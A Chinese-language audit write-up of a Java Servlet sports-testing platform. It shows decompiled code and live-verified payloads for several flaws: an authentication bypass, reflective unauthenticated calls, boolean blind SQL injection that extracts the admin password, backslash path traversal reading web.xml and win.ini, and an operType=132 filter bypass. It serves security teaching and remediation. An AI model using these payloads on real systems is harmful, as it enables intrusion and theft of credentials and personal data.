0x00 为什么做代码审计

某次测试的目标是一套体育测试平台(Java Web,JSP+Servlet 传统架构),获取到了源码包。市面上大部分"Java 渗透"文章都是黑盒视角:扫目录、测注入点、绕 WAF。但当源码在手时,黑盒就是自缚手脚。

源码审计回答三个黑盒永远问不出的问题:入口在哪、防护在哪、数据在哪。

0x01 审计第一步:web.xml 是路由地图

拿到源码先别急着翻代码,先看 web.xml。一个 Servlet 项目的攻击面全在这里:哪些 servlet 暴露、哪些过滤器保护、哪个路径免认证。

├── W***ot
│   ├── WEB-INF/web.xml              ← 路由地图(首个审计对象)
│   ├── ***Web/                      ← JSP 目录
│   ├── ****oid/                     ← ****oid 端接口
│   ├── servlet/                     ← Servlet 目录
│   └── WEB-INF/classes/             ← 179 个 class(无 .java,需反编译)

项目概况:496 个 JSP / 179 个 class / 无 .java 源码;混合栈(Access + SQLServer + MySQL、DWR、JAX-WS)。

发现一:web.xml 里被注释掉的过滤器

web.xml 中 antiSqlInjection 过滤器被整段注释(filter 定义 + mapping 都在 <!-- --> 内):

<!-- <filter>
        <filter-name>antiSqlInjection</filter-name>

        <filter-class>com.oa.filters.AntiSqlInjectionfilter</filter-class>

    </filter>

    <filter-mapping>
        <filter-name>antiSqlInjection</filter-name>

        <url-pattern>*.jsp</url-pattern>

        <url-pattern>/*</url-pattern>

        <dispatcher>REQUEST</dispatcher>

    </filter-mapping> -->

这是什么意思? Servlet 里的 Filter(过滤器)相当于"收费站":请求进来先过过滤器,再进 Servlet。这个过滤器本来叫 AntiSqlInjection(防 SQL 注入),mapping 范围是 *.jsp 和 /*(所有路径)。注释掉 = 收费站拆了 = 所有请求直接裸奔进代码。

审计经验:<!-- --> 是审计弱信号的首选——被注释的代码 = 厂商曾经部署、后来主动放弃的防线。看到注释掉的过滤器/拦截器,就要意识到后面的代码可能长期没有防护地在跑。

⚠️ 注意:这里有个容易误判的坑。源码里注释了,不代表线上也注释了——源码审计只告诉你"这个包的状态",线上长什么样必须实测。

0x02 反编译:CFR 把 179 个 class 变成可读 Java

没有 .java,就反编译。工具选型:CFR 是仍在活跃维护的 Java 反编译器,对老版本 class 兼容性极好:

java -jar cfr-0.152.jar *.class --outputdir decompiled/

179 个 class → 164 个 Java 文件。反编译后的审计路径是三层递进:

第一层  路由层:web.xml 谁暴露、谁被过滤器保护
第二层  控制层:Servlet/Action 的权限检查、参数处理
第三层  数据层:DAO / DButil 的 SQL 构造方式(预编译 or 拼接)

0x03 审计发现一:***Servlet 的权限检查"短路"逻辑

3.1 原理:权限判断里混入了一个"想拦反而放行"的条件

com.oa.***Servlet.performTask() 的权限判断:

if (!(operType.equals("-1") || operType.equals("1") || operType.equals("911")
   || operType.equals("62") || operType.substring(0, 1).equals("3")
   || (roleList = (String)session.getAttribute("Login_UserRoleList")) == null
   || this.checkRole(operType, roleList))) {
    // 无权限 → error.jsp
}

这段代码想干什么? 它是 ***servlet 的"门卫"。operType 是请求参数(1=登录、6=查询学生、1006=导入成绩……)。门卫放行三类请求:

  1. 白名单操作:operType 是 -1 / 1 / 911 / 62 / 以 3 开头 → 不用登录也能做(如登录本身)
  2. 已登录且有角色:session 里有 Login_UserRoleList 且包含该 operType 的权限
  3. Login_UserRoleList == null → 放行 ← 漏洞就在这

为什么这是漏洞? 正常逻辑应该是"未登录(没有角色列表)→ 拦截"。但代码写成 (roleList = session.getAttribute(...)) == null —— 未登录时 session 里没有 Login_UserRoleList 这个属性 → roleList 为 null → 这个条件为 true → 整个 !(...) 为 false → 不拦截,直接放行。

用人话说:门卫的逻辑是"没带工牌的人放行"。攻击者未登录,直接访问 ***servlet?operType=6(查询学生)等非白名单操作,会被放行进业务代码。

# 预期响应分两种:
#   - 401 / 跳转登录  → 线上已补了口子——但它修的只是入口,代码缺陷还在
#   - 200 + 错误页/数据 → 未修复!未登录可直达业务代码(未打补丁的同款实例)

0x04 审计中发现的一个误报(重要经验)

4.1 "bCheck 未使用"看起来像认证绕过

com.oa.***Servlet.checkPassword:

boolean bCheck = UserDAO.checkUser(userNo, passwd);   // bCheck 赋值后从未被引用
User user = UserDAO.getUserByUserNo(userNo);
session.setAttribute("Login_User", (Object)user);     // 看起来无条件登录
session.setAttribute("Login_UserRoleList", ...);
this.callPage("/mainFrame.jsp", request, response);  // 看起来直接进后台

第一眼结论:"checkUser 返回值未使用 → 密码错误也能登录 → 任意用户登录"。这实际上是误报。

4.2 真相:认证藏在异常控制流里

继续看 UserDAO.checkUser 的完整实现,它用抛异常表达失败。再看 performTask 的入口结构:

public void performTask(...) {
    try {
        ...
        case 1: this.checkPassword(request, param, response); break;
        ...
    }
    catch (Exception ex) {          // ← 所有异常在这里被接住
        request.setAttribute("message", ex.getMessage());  // "密码错误!" / "该用户编号不存在!"
        this.callPage("/***Web/common/error.jsp", request, response);  // → 跳错误页
    }
}

整条执行链:checkPassword → checkUser 密码错 → 抛异常 → 异常向上冒泡 → 被 performTask 的 catch 接住 → 跳 error.jsp。session.setAttribute 根本不会执行。

结论:bCheck 虽然没被读,但密码校验是通过"抛异常中断"实现的,不是真漏洞。线上实测也印证:错误密码一律返回错误页,无法登录。

4.3 复盘教训(比漏洞更值钱)

  • Java 里 throw 也是控制流——throws Exception 的校验函数,失败时不走后续代码
  • 审计时要先看校验函数的失败表达方式:return false(后续要判断) vs throw(直接中断)是两种完全不同的语义
  • "变量赋值后未使用"只是可疑信号,不是漏洞结论——必须追到实际控制流再定性

这个误报后来成了我反编译审计的必备检查项:先看异常,再谈赋值。

0x05 审计发现二:.do 反射调用链("URL 指定代码执行")

5.1 原理:过滤器把"调用哪个类、调哪个方法"交给 URL

com.xql.filter.***Filter.doFilter() 映射 *.do。URL 格式 类名!方法名.do,例如 /StudentAction!getStudentListJson.do。过滤器从 URL 拆出类名方法名后反射执行:

// ***Filter.doFilter
String url = servletRequest.getRequestURI();            // /StudentAction!getStudentListJson.do
str = url.substring(start + 1, url.indexOf("."));       // StudentAction!getStudentListJson
String[] tmp = str.split("!");
className = tmp[0];    // StudentAction
methodName = tmp[1];   // getStudentListJson

// execClass
String className_ = "com.xql.action." + className;      // 拼完整类名
Class<?> c = Class.forName(className_);                 // 反射加载类
Object o = c.newInstance();                             // new 实例
Method m1 = o.getClass().getMethod("setRequest", ...);  // 把 request 塞给 Action
m1.invoke(o, request);
Method m = o.getClass().getMethod(methodName, new Class[0]);  // 取 URL 指定的方法
result = m.invoke(o, new Object[0]);                    // 反射调用

为什么这是洞? 三点叠加:

  1. 类名、方法名由攻击者控制(URL 里 ! 前后)
  2. 没有任何登录检查(getSession(false) 后直接执行,没校验用户)
  3. Action 里的 SQL 参数从 request 拿 + DAO 全拼接——看真实 Action(com/xql/action/StudentAction.java):
public void getStudentListJson() {
    String studentNo = this.getRequest().getParameter("studentNo");          // ← 参数从你发的请求里取
    String sql = "select * from student where studentNo='" + studentNo + "'"; // ← 拼接
    list = new DButil().getReslutList(sql, new int[0]);                      // ← Statement 执行
}

注意一个反直觉的点:反射调用的是无参方法(new Class[0]),但参数并不是没用——因为 request 对象被 setRequest 注入进 Action,SQL 参数走 this.getRequest().getParameter() 拿。"无参方法 + 可注入"不矛盾。

完整利用链:一行 URL = 指定类 + 指定方法 + 传注入参数 + 未认证执行:

/StudentAction!getStudentListJson.do?studentNo=1' and '1'='1

这条响应的含义:studentNo 参数拼接进了 SQL(where studentNo='...'),and '1'='1 恒真 → 反射链真实执行 → 顺带把身份证号、明文口令一起吐出来了。

0x06 审计发现三:DAO 层全部 Statement 拼接 + type 分发接口

6.1 根因:全库 createStatement(拼接 vs 预编译)

com.oa.util.DButil 统一封装所有查询,全库 5 处 createStatement(),没有任何 prepareStatement:

Statement stmt = con.createStatement();   // 拼接 SQL 直接执行

先解释两句代码的区别:

写法 A(该系统):拼接。参数直接塞进 SQL 文本:

String sql = "select * from student where studentNo='" + studentNo + "'";

攻击者输入 20260101' or '1'='1 时,实际执行的 SQL 变成:

select * from student where studentNo='20260101' or '1'='1'   -- 恒真 → 返回全表

攻击者的输入把引号闭合了,or '1'='1 成了新的 SQL 代码——输入从"数据"变成了"代码"。

写法 B(正确):预编译占位符:

String sql = "select * from student where studentNo=?";
stmt.setString(1, studentNo);    // 参数走独立通道

数据库把 ? 当成一个值,攻击者的引号只是字符串内容,永远不会变成 SQL 代码。

一句话:拼接 = 用户输入改 SQL 结构(注入);占位符 = 用户输入永远是数据(安全)。

回到该系统:全库无预编译 = 每个把参数拼进 SQL 的接口都是潜在注入点。只要找到"参数 → SQL → 输出"的闭合链即可利用(6.4 的 queryValue 就是实证;而 6.3 的 type=2/3 因为参数 type 是数字不注入,走的是未授权数据口,两条线不同后果但同出这一根因)。

6.2 type 分发接口:一个参数切出数据口

com.oa.ImportItemServlet(映射 /****oid/ImportItemServlet)是 ****oid 端接口,类里没有任何 session 检查(反编译全文只有 doGet/doPost,无 Login_User 判断)。按 type 参数分发业务:

} else if (type.equals("2")) {
    sql = "select * from user";                                // ← 用户表全量
    ...
    String passWord = h.get("passWord") == null ? "" : (String)h.get("passWord");
    obj.put("password", passWord);                             // ← 明文密码直接塞 JSON
} else if (type.equals("3")) {
    sql = "select st.studentNo,st.name,st.sex,st.gradeNo,st.cardNo,st.IDCard,st.classNo,..."
       + " from student st ...";                               // ← 身份证字段也在
}

为什么 type 分发是高危扇区:开发者习惯"一个接口多个 type",以为参数能控制行为就安全了,却忘了认证是独立维度——type 参数只是业务分支,没人在分支前加登录检查。

0x06 续:同一根因的第二种后果——管理查询接口 SQL 注入(回显盲注)

6.4 注入点与"存在性回显"

同根因(全库 Statement 拼接),/servlet/***servlet 的管理查询接口存在注入点 queryValue(查询学生成绩时传学号):

"存在性回显"机制(这是盲注成功的关键):

  • queryValue=210401010001 → 正常回显该学生数据
  • queryValue=210401010001' → 语法错误,回显异常("不正常回显")
  • queryValue=210401010001' and '1'='1 → 恒真,正常回显(!)
  • 即:条件为真 → 正常回显;条件为假/报错 → 异常回显 —— 这就是布尔 oracle

6.5 用 EXISTS + left() 逐字符猜密码

-- 确认 EXISTS 子查询可用(用户名存在 → 恒真 → 正常回显)
queryValue=210401010001' and exists(select * from USER where userNo='admin') and '1'='1

-- left() 逐字符盲注:猜密码第一位
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='h') and '1'='1
#   → 正常回显 → 首字符确实是 h
queryValue=210401010001' and exists(select * from USER where userNo='admin' and left(passWord,1)='l') and '1'='1
#   → 异常回显 → 排除 l

逐字符遍历直到 left(passWord,10)='完整密码' 命中,即可还原管理员密码(已脱敏)。

0x07 审计发现四:任意文件下载(只防一半的路径过滤)

7.1 原理:只替换 / 不处理 ..

com.oa.CommonFileDownload(映射 /fileDownload,无认证,反编译原文 doGet/doPost 都直通):

String allPathName = request.getParameter("allPathName");   // ← 完全可控
allPathName = allPathName.replaceAll("/", Matcher.quoteReplacement(File.separator));
//                                  ↑ 只把 / 换成 \(Windows 分隔符)
filePath = allPathName.substring(0, allPathName.lastIndexOf(File.separator));
fileName = allPathName.substring(allPathName.lastIndexOf(File.separator) + 1);
this.realPath = request.getSession().getServletContext().getRealPath(filePath);
file = new File(this.realPath, fileName);                    // ← new File 直接拼
if (file.exists()) { ... 读文件流输出 ... }

漏洞原理:开发者以为 replaceAll("/", "\\") 能把所有路径分隔符统一转换,堵住穿越。但只处理了正斜杠——攻击者提交 ..\..\WEB-INF\web.xml(用反斜杠),replaceAll 发现没有 / 可替换,原样保留 ..\,new File(realPath, fileName) 直接拼出越权路径。

这是 Windows 上高频的"防一半"漏洞模式:黑盒里很难猜中这种写法,源码一翻就透。

7.2 线上验证

# ① 读应用核心配置 web.xml
/fileDownload?method=CommonDownload&filePath=WEB-INF&fileName=web.xml

# ② 读系统文件 win.ini(跨出 Web 目录,任意文件读取)
/fileDownload?method=CommonDownload&allPathName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini

# ③ 双参数分支(零过滤)同样可穿越
/fileDownload?method=CommonDownload&filePath=&fileName=..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini

这条响应直接证明了源码缺陷的战斗力:

  • allPathName 分支:replaceAll("/", "\\") 只处理正斜杠,%5C(编码反斜杠)原样进 ..\..\ 穿越 → 读出 C:\windows\win.ini
  • filePath+fileName 分支:零过滤,fileName 直接拼到 new File(realPath, fileName) 后完成穿越
  • web.xml 明文读出意味着下一步可读数据库配置文件(dbConfig.properties 等)——任意文件读取直接升级为"凭据面泄露"

0x08 补充:线上的"过滤器绕过"——operType=132 豁免参数

前面说过源码里过滤器被注释,但线上实测发现过滤器其实是启用的(带注入字符的请求返回「参数中含有非法字符」拦截页)。而且这个启用状态的过滤器,可以被一个业务豁免参数整体绕过:

# 实测 1:不带豁免参数,注入被过滤器拦截
/***Web/news/New_detail.jsp?id=1 and 1=1"
#   → HTTP 500「参数中含有非法字符」(过滤器拦截)

# 实测 2:加 operType=132,过滤器直接放行
/***Web/news/New_detail.jsp?id=1 and 1=1&operType=132"
#   → HTTP 302 → HTTP 200(SQL 真实执行,过滤被绕过!)

实测结果对比(同一目标、同一 payload,唯一区别是多了 operType=132):

请求

响应

含义

?id=1 and 1=1

500 拦截

过滤器生效

?id=1 and 1=1&operType=132

302 → 200

过滤器被绕过,进入 SQL 执行

原理:过滤器的白名单逻辑里,operType=132(某项业务豁免)会把整条请求标记为"不需要过滤"——任何请求附加 operType=132 即可完全绕过 SQL 注入防护。这是"业务豁免参数 = 过滤器后门"的典型模式。黑盒发现这个全靠运气(要试对参数名),审计里扫一眼过滤器的豁免分支就拿到了。

0x09 审计结论:一条完整的攻击链

① type 分发接口(无认证)→ /****oid/ImportItemServlet?type=2/3
        ↓  全量用户密码 + 全量学生数据(含身份证)
② 管理查询注入 → queryValue EXISTS+left() 盲注(与①密码交叉验证)
        ↓
③ 泄露凭据登录 → 进入管理后台
        ↓
④ fileDownload allPathName → 任意文件读取(只防一半的过滤)
        ↓
⑤ .do 反射链 / operType=132 过滤器绕过 → 全站注入面

代码审计相对黑盒的核心价值:把零散的代码缺陷组织成攻击链,并给出每个缺陷的精确源码定位(哪个文件、哪一行、哪个函数)——提交漏洞时,修复方直接照源码改即可。

0x0A 审计方法论总结

  1. 先画地图再审计:web.xml → filter → servlet → DAO,快速建立攻击面全景。"被注释的过滤器"是弱信号首选
  2. 反编译三层递进:路由层(谁暴露)→ 控制层(权限检查)→ 数据层(SQL 构造方式)
  3. 先看校验函数的失败表达方式:return false vs throw Exception 语义完全不同——bCheck 未使用被误读成"认证丢弃"就是真实翻车案例(0x04)
  4. 全库搜 createStatement:无预编译 = 注入面全开;顺着"参数 → SQL → 输出"找闭合链
  5. 路径过滤只防一半是惯例:replaceAll("/", "\\") 这类写法在 Windows 上等于没防
  6. type 分发接口是高危扇区:一个接口按参数分发多业务,无认证 = 数据口
  7. 业务豁免参数 = 过滤器后门:operType=132 这类豁免位,是绕过防护最优雅的入口
  8. 审计 ≠ 可利用:线上验证分"可利用/已加防护"两类记录;但源码缺陷的持久性,决定了审计结论永远有价值